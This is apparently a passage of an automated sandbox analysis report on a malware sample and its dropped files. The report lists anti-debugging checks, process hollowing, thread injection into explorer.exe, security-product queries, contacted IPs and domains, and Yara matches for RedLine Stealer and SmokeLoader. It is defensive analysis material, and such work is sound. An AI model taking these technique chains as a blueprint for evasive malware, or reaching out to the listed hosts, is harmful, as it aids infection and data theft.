Source: svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.552754472.00000203DA029000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.423478230.0000000004A81000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

26_2_00401D96

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_004196BC GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,GetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	1_2_004196BC
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	22_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	22_2_00401280
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	22_2_00401090
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	22_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00409970
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_004087E0

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

1_2_0042D560

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_00570042 push dword ptr fs:[00000030h]	1_2_00570042
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00470083 push dword ptr fs:[00000030h]	16_2_00470083
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0048092B mov eax, dword ptr fs:[00000030h]	16_2_0048092B
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00480D90 mov eax, dword ptr fs:[00000030h]	16_2_00480D90
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 17_2_006C0042 push dword ptr fs:[00000030h]	17_2_006C0042
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00401000 mov eax, dword ptr fs:[00000030h]	22_2_00401000
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_0040C180 mov eax, dword ptr fs:[00000030h]	22_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00888D13 push dword ptr fs:[00000030h]	22_2_00888D13
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_006C092B mov eax, dword ptr fs:[00000030h]	26_2_006C092B
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_006C0D90 mov eax, dword ptr fs:[00000030h]	26_2_006C0D90

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Code function: 1_2_004228F0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_004228F0

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

22_2_004048D0

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Code function: 1_2_0042C962 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

1_2_0042C962

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

1_2_00419905

Source: C:\Users\user\AppData\Local\Temp\A019.exe

Code function: 20_1_004027ED LdrLoadDll,

20_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_0043A800 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0043A800
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_004228F0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_004228F0
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_0042BAA0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0042BAA0
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_00428310 SetUnhandledExceptionFilter,	1_2_00428310
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	26_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 293.exe.10.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Memory written: C:\Users\user\Desktop\ZA3cYU28Yl.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Memory written: C:\Users\user\AppData\Local\Temp\A019.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Memory written: unknown base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Code function: 1_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

1_2_00570110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Thread created: C:\Windows\explorer.exe EIP: 5AC1930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Thread created: unknown EIP: 5C11930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Thread created: unknown EIP: 76B1930	Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\B217.exe	Section unmapped: unknown base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Section unmapped: unknown base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Section unmapped: unknown base address: 400000	Jump to behavior

.NET source code references suspicious native API functions

Show sources

Source: B217.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: B217.exe.10.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.B217.exe.a90000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.B217.exe.a90000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.B217.exe.a90000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.B217.exe.a90000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.0.B217.exe.a90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.2.B217.exe.a90000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 27.2.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.B217.exe.a90000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 27.0.B217.exe.a90000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 42.0.B217.exe.1b0000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 42.0.B217.exe.1b0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 42.0.B217.exe.1b0000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 42.0.B217.exe.1b0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 42.0.B217.exe.1b0000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 42.0.B217.exe.1b0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Process created: C:\Users\user\Desktop\ZA3cYU28Yl.exe "C:\Users\user\Desktop\ZA3cYU28Yl.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Process created: C:\Users\user\AppData\Roaming\rcvfbte C:\Users\user\AppData\Roaming\rcvfbte	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Process created: C:\Users\user\AppData\Local\Temp\A019.exe C:\Users\user\AppData\Local\Temp\A019.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6608 -ip 6608	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6608 -s 520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: C:\Users\user\AppData\Local\Temp\B217.exe C:\Users\user\AppData\Local\Temp\B217.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

26_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

26_2_00407809

Source: explorer.exe, 0000000A.00000000.323671995.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.307094432.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.295074453.00000000011E0000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.387864621.0000000000D10000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385301320.0000000000D10000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000A.00000000.306398787.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.294840531.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.323374990.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000A.00000000.323671995.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.296309785.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.307094432.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.295074453.00000000011E0000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.387864621.0000000000D10000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385301320.0000000000D10000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000A.00000000.323671995.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.307094432.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.295074453.00000000011E0000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.387864621.0000000000D10000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385301320.0000000000D10000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000A.00000000.323671995.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.307094432.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.295074453.00000000011E0000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.387864621.0000000000D10000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385301320.0000000000D10000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000A.00000000.317718253.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.300343479.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.332149562.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: GetLocaleInfoA,	1_2_0043A550
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: GetLocaleInfoA,	16_2_00410857
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	22_2_0040AE00

Source: C:\Users\user\AppData\Local\Temp\A881.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B217.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Code function: 1_2_00419B62 __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,AssignProcessToJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,SetNamedPipeHandleState,lstrcpynA,GetCurrentProcessId,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexA,OemToCharA,GetLastError,HeapFree,GetConsoleMode,WriteConsoleOutputCharacterA,GetModuleHandleW,GetConsoleMode,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBuffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameA,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputW,BuildCommDCBW,UnregisterWaitEx,GlobalLock,CreateIoCompletionPort,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionGuid,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleA,EndUpdateResourceA,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,ReadFileScatter,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

1_2_00419B62

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

22_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

22_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

26_2_0040405E

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

1_2_00419B62

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000008.00000002.554711794.0000026C8DE3D000.00000004.00000001.sdmp	Binary or memory string: "@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000008.00000002.557118584.0000026C8DF02000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.B217.exe.3fb6f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.3fb6f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.3e7ada0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.405ba90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.405ba90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.3e7ada0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.479069139.0000000003E01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.481840914.0000000004005000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.480913132.0000000003F71000.00000004.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 20.1.A019.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.rcvfbte.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.A019.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.A019.exe.6c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rcvfbte.400000.0.unpack, type: UNPACKEDPE
